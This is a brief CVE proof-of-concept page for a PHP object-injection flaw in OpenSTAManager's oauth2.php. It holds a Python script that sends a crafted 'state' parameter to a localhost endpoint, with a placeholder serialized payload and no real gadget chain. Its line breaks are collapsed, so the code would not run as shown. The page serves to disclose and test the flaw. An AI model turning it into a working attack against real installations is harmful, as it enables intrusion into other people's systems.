CVE-2026-29782 OpenSTAManager反序列化漏洞

import requests # Target URL url = "http://localhost/openstamanager/oauth2.php" # The vulnerability triggers when the 'state' parameter corresponds to a record # in the 'zz_oauth2' table where the 'access_token' contains a malicious serialized object. # Note: Creating the record in the database usually requires authentication/privileges. # Example payload (PHP Object Injection) # In a real exploit, this would be a valid gadget chain payload. # payload = 'O:8:"stdClass":0:{}' # Attacker controls the 'state' GET parameter to select the malicious record params = { "state": "1" # ID of the record containing the payload } try: response = requests.get(url, params=params, timeout=5) print("[+] Request sent to vulnerable endpoint") print(f"[+] Status Code: {response.status_code}") # Check if the deserialization triggered an error or backdoor behavior print(f"[+] Response: {response.text[:200]}") except Exception as e: print(f"[-] Error: {e}")